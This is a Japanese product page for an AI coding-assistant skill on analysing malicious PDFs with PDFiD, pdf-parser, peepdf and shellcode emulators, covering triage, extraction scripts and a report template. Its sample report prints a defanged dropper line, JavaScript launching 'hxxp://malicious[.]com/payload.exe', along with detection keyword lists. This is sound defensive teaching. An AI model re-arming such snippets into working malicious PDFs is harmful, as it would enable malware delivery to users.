analyzing-pdf-malware-with-pdfid について
PDFiDなどを使ったPDFの構造解析手順を、マルウェア分析担当者向けにまとめたスキルです。表示内容ではなく、不審なオブジェクトの検出やJavaScript、シェルコード、埋め込みファイル、URLの抽出に重点を置きます。
主な機能
- 01PDFiDでPDF構造を初期トリアージ
- 02pdf-parserでPDFオブジェクトを調査
- 03埋め込みJavaScriptを抽出・分析
- 04シェルコード、ファイル、URLを抽出
- 05マルウェア分析レポートを作成
活用シーン
- 01メールセキュリティが検知した不審なPDFをトリアージ
- 02PDF内のスクリプト、エクスプロイト、シェルコードを調査
- 03悪意あるPDFからファイルやネットワーク指標を抽出
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-pdf-malware-with-pdfidインストール後、Claude Code で/analyzing-pdf-malware-with-pdfidを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
PDFiD を使用した PDF マルウェアの分析
使用する場面
- 不審な PDF 添付ファイルがメールセキュリティによって検出された場合、またはユーザーから報告された場合
- PDF に埋め込まれた JavaScript、シェルコード、またはエクスプロイトコードが含まれているかを判断する必要がある場合
- サンドボックスや分析環境で開く前に、PDF 文書をトリアージする場合
- 悪意のある PDF オブジェクトから、埋め込み実行ファイル、スクリプト、または URL を抽出する場合
- Adobe Reader やその他の PDF ビューアーの脆弱性を標的とする PDF エクスプロイトキットを分析する場合
使用しないでください:PDF のレンダリングされた視覚的な内容の分析には使用しないでください。悪意のあるオブジェクトを検出するための、PDF ファイル形式の構造分析用です。
前提条件
- Didier Stevens の PDF ツールがインストールされた Python 3.8 以降(
pip install pdfid pdf-parser) - 対話型 PDF 分析用の peepdf(
pip install peepdf) - テキストコンテンツを安全に抽出するための poppler-utils の pdftotext
- マルウェアファミリーを特定するための PDF 専用ルールを備えた YARA
- PDF リーダーをインストールしていない隔離分析 VM(誤って開くのを防止)
- 埋め込み Base64、16 進数、または deflate ストリームをデコードするための CyberChef
ワークフロー
ステップ 1:PDFiD による初期トリアージ
不審なキーワードや構造がないか PDF をスキャンします:
# Run PDFiD to identify suspicious elements
pdfid suspect.pdf
# Expected output analysis:
# /JS - JavaScript (HIGH risk)
# /JavaScript - JavaScript object (HIGH risk)
# /AA - Auto-Action triggered on open (HIGH risk)
# /OpenAction - Action on document open (HIGH risk)
# /Launch - Launch external application (HIGH risk)
# /EmbeddedFile - Embedded file (MEDIUM risk)
# /RichMedia - Flash content (MEDIUM risk)
# /ObjStm - Object stream (used for obfuscation)
# /URI - URL reference (contextual risk)
# /AcroForm - Interactive form (MEDIUM risk)
# Run with extra detail
pdfid -e suspect.pdf
# Run with disarming (rename suspicious keywords)
pdfid -d suspect.pdf
PDFiD Risk Assessment:
━━━━━━━━━━━━━━━━━━━━━
HIGH RISK indicators (any count > 0):
/JS, /JavaScript -> Embedded JavaScript code
/AA -> Automatic Action (triggers without user interaction)
/OpenAction -> Code runs when document is opened
/Launch -> Can launch external executables
/JBIG2Decode -> Associated with CVE-2009-0658 exploit
MEDIUM RISK indicators:
/EmbeddedFile -> Contains embedded files (could be EXE/DLL)
/RichMedia -> Flash/multimedia (Flash exploits)
/AcroForm -> Form with possible submit action
/XFA -> XML Forms Architecture (complex attack surface)
LOW RISK indicators:
/ObjStm -> Object streams (obfuscation technique)
/URI -> External URL references
/Page -> Number of pages (context only)
ステップ 2:pdf-parser による PDF 構造の解析
PDFiD で特定された不審なオブジェクトを調べます:
# List all objects referencing JavaScript
pdf-parser --search "/JavaScript" suspect.pdf
pdf-parser --search "/JS" suspect.pdf
# List all objects with OpenAction
pdf-parser --search "/OpenAction" suspect.pdf
# Extract a specific object by ID (example: object 5)
pdf-parser --object 5 suspect.pdf
# Extract and decompress stream content
pdf-parser --object 5 --filter --raw suspect.pdf
# Search for embedded files
pdf-parser --search "/EmbeddedFile" suspect.pdf
# List all objects with their types
pdf-parser --stats suspect.pdf
ステップ 3:埋め込み JavaScript の抽出と分析
PDF オブジェクトから JavaScript コードを取り出します:
# Extract JavaScript using pdf-parser
pdf-parser --search "/JS" --raw --filter suspect.pdf > extracted_js.txt
# Alternative: Use peepdf for interactive JavaScript extraction
peepdf -f -i suspect.pdf << 'EOF'
js_analyse
EOF
# peepdf interactive commands for JS analysis:
# js_analyse - Extract and show all JavaScript code
# js_beautify - Format extracted JavaScript
# js_eval <object> - Evaluate JavaScript in sandboxed environment
# object <id> - Display object content
# rawobject <id> - Display raw object bytes
# stream <id> - Display decompressed stream
# offsets - Show object offsets in file
# Python script for comprehensive PDF JavaScript extraction
import subprocess
import re
# Extract all streams and search for JavaScript
result = subprocess.run(
["pdf-parser", "--stats", "suspect.pdf"],
capture_output=True, text=True
)
# Find object IDs containing JavaScript references
js_objects = []
for line in result.stdout.split('\n'):
if '/JavaScript' in line or '/JS' in line:
obj_id = re.search(r'obj (\d+)', line)
if obj_id:
js_objects.append(obj_id.group(1))
# Extract each JavaScript-containing object
for obj_id in js_objects:
result = subprocess.run(
["pdf-parser", "--object", obj_id, "--filter", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
print(f"\n=== Object {obj_id} ===")
print(result.stdout[:2000])
ステップ 4:埋め込みシェルコードの分析
PDF エクスプロイトからシェルコードを抽出して調べます:
# Extract raw stream data for shellcode analysis
pdf-parser --object 7 --filter --raw --dump shellcode.bin suspect.pdf
# Analyze shellcode with scdbg (shellcode debugger)
scdbg /f shellcode.bin
# Alternative: Use speakeasy for shellcode emulation
python3 -c "
import speakeasy
se = speakeasy.Speakeasy()
sc_addr = se.load_shellcode('shellcode.bin', arch='x86')
se.run_shellcode(sc_addr, count=1000)
# Review API calls made by shellcode
for event in se.get_report()['api_calls']:
print(f\"{event['api']}: {event['args']}\")
"
# Use CyberChef to decode hex/base64 encoded shellcode
# Input: Extracted stream data
# Recipe: From Hex -> Disassemble x86
ステップ 5:埋め込みファイルと URL の抽出
埋め込み実行ファイルとリンクされたリソースを取り出します:
# Extract embedded files from PDF
import subprocess
import hashlib
# Find embedded file objects
result = subprocess.run(
["pdf-parser", "--search", "/EmbeddedFile", "--raw", "--filter", "suspect.pdf"],
capture_output=True
)
# Extract embedded PE files by searching for MZ header
with open("suspect.pdf", "rb") as f:
data = f.read()
# Search for embedded PE files
offset = 0
while True:
pos = data.find(b'MZ', offset)
if pos == -1:
break
# Verify PE signature
if pos + 0x3C < len(data):
pe_offset = int.from_bytes(data[pos+0x3C:pos+0x40], 'little')
if pos + pe_offset + 2 < len(data) and data[pos+pe_offset:pos+pe_offset+2] == b'PE':
print(f"Embedded PE found at offset 0x{pos:X}")
# Extract (estimate size or use PE header)
embedded = data[pos:pos+100000] # Initial extraction
sha256 = hashlib.sha256(embedded).hexdigest()
with open(f"embedded_{pos:X}.exe", "wb") as out:
out.write(embedded)
print(f" SHA-256: {sha256}")
offset = pos + 1
# Extract URLs from PDF
result = subprocess.run(
["pdf-parser", "--search", "/URI", "--raw", "suspect.pdf"],
capture_output=True, text=True
)
urls = re.findall(r'(https?://[^\s<>"]+)', result.stdout)
for url in set(urls):
print(f"URL: {url}")
ステップ 6:分析レポートの作成
PDF 分析で得られたすべての所見を記録します:
Analysis should cover:
- PDFiD triage results (suspicious keyword counts)
- PDF structure anomalies (object streams, cross-reference issues)
- Extracted JavaScript code (deobfuscated if needed)
- Shellcode analysis results (API calls, network indicators)
- Embedded files extracted with hashes
- URLs and external references
- CVE identification if a known exploit is detected
- YARA rule matches against known PDF malware families
重要な概念
| 用語 | 定義 |
|---|---|
| PDF Object | PDF ファイルの基本的な構成要素です。オブジェクトには、ストリーム(圧縮データ)、辞書、配列、その他のオブジェクトへの参照を格納できます |
| OpenAction | 文書を開いたときに実行するアクションを指定する PDF 辞書エントリです。JavaScript エクスプロイトの起動によく使用されます |
| PDF Stream | PDF オブジェクト内の圧縮データで、JavaScript、画像、埋め込みファイル、またはシェルコードを含むことがあります。通常は FlateDecode で圧縮されています |
| FlateDecode | PDF ストリームに適用される Zlib/deflate 圧縮フィルターです。内容を分析するには展開する必要があります |
| ObjStm (Object Stream) | 複数のオブジェクトを単一の圧縮ストリーム内に格納する PDF の機能です。マルウェアが単純なパーサーから不審なオブジェクトを隠すために使用します |
| JBIG2 | PDF で使用される画像圧縮規格です。過去にエクスプロイトの原因となったことがあります(CVE-2009-0658、CVE-2021-30860 FORCEDENTRY) |
| PDF JavaScript API | PDF 文書で利用できる Adobe 固有の JavaScript 拡張機能です。フォーム操作、ネットワークアクセス、OS との連携に使用できます |
ツールとシステム
- PDFiD:文書全体を解析せずに、不審なキーワードや構造がないか PDF 文書をスキャンする Didier Stevens のツールです
- pdf-parser:PDF オブジェクトの詳細な抽出、ストリームの展開、コンテンツ分析に使用する PDFiD の補助ツールです
- peepdf:オブジェクトの検査や JavaScript の抽出に使える対話型シェルを備えた、Python ベースの PDF 分析ツールです
- QPDF:分析しやすくするために PDF をリニアライズ、復号、再構成する変換ツールです
- scdbg:x86 シェルコードの実行をエミュレートし、API 呼び出しを記録するシェルコード分析ツールです
よくあるシナリオ
シナリオ:JavaScript が埋め込まれたフィッシング PDF のトリアージ
状況:メールゲートウェイが、不審な JavaScript の兆候がある PDF 添付ファイルを検出しました。セキュリティチームは、エクスプロイトまたはソーシャルエンジニアリングによるリダイレクトが含まれているかどうかを判断する必要があります。
アプローチ:
- PDFiD を実行し、/JS、/JavaScript、/OpenAction の有無と検出数を確認します
- pdf-parser を使用して OpenAction オブジェクトを抽出し、参照チェーンをたどります
- 参照先のストリームオブジェクトから JavaScript コードを抽出します(FlateDecode フィルターを適用します)
- JavaScript の難読化を解除します(16 進文字列をデコードし、eval チェーンを解決します)
- スクリプトが PDF リーダーの脆弱性を悪用するか(ヒープスプレーや ROP チェーンを確認)、リダイレクトを行うかを判断します
- すべての URL、IP、埋め込みファイルを IOC として抽出します
- サンプルを、エクスプロイト(特定の CVE)またはソーシャルエンジニアリング(リダイレクト/フィッシング)に分類します
注意点:
- コマンドラインツールで解析せず、標準的なリーダーで PDF を開いてしまう
- PDFiD が検出しても単純なパーサーでは見落とす、オブジェクトストリーム(/ObjStm)内に隠された JavaScript を見逃す
- 解析前にストリームを展開しない(FlateDecode、ASCIIHexDecode、ASCII85Decode フィルター)
- /JS がないからといって JavaScript もないと思い込む。コードはフォームフィールド(/XFA を含む /AcroForm)に埋め込まれている場合があります
出力形式
PDF MALWARE ANALYSIS REPORT
==============================
File: invoice_2025.pdf
SHA-256: e3b0c44298fc1c149afbf4c8996fb924...
File Size: 45,312 bytes
PDF Version: 1.7
PDFID TRIAGE
/JS: 1 [HIGH RISK]
/JavaScript: 1 [HIGH RISK]
/OpenAction: 1 [HIGH RISK]
/EmbeddedFile: 0
/Launch: 0
/URI: 2
/Page: 1
/ObjStm: 1 [OBFUSCATION]
SUSPICIOUS OBJECTS
Object 5: /OpenAction -> references Object 8
Object 8: /JavaScript stream (FlateDecode, 2,847 bytes decompressed)
Object 12: /ObjStm containing objects 15-18
EXTRACTED JAVASCRIPT
Layer 1: eval(unescape("%68%65%6C%6C%6F"))
Layer 2: var url = "hxxp://malicious[.]com/payload.exe";
app.launchURL(url, true);
// Social engineering redirect, not exploit
EXTRACTED IOCs
URLs: hxxp://malicious[.]com/payload.exe
hxxps://fake-login[.]com/adobe/verify
Domains: malicious[.]com, fake-login[.]com
CLASSIFICATION
Type: Social Engineering (URL redirect)
CVE: None (no exploit code detected)
Risk: HIGH (downloads executable payload)
Family: Generic PDF Dropper
コメント
Markdown 対応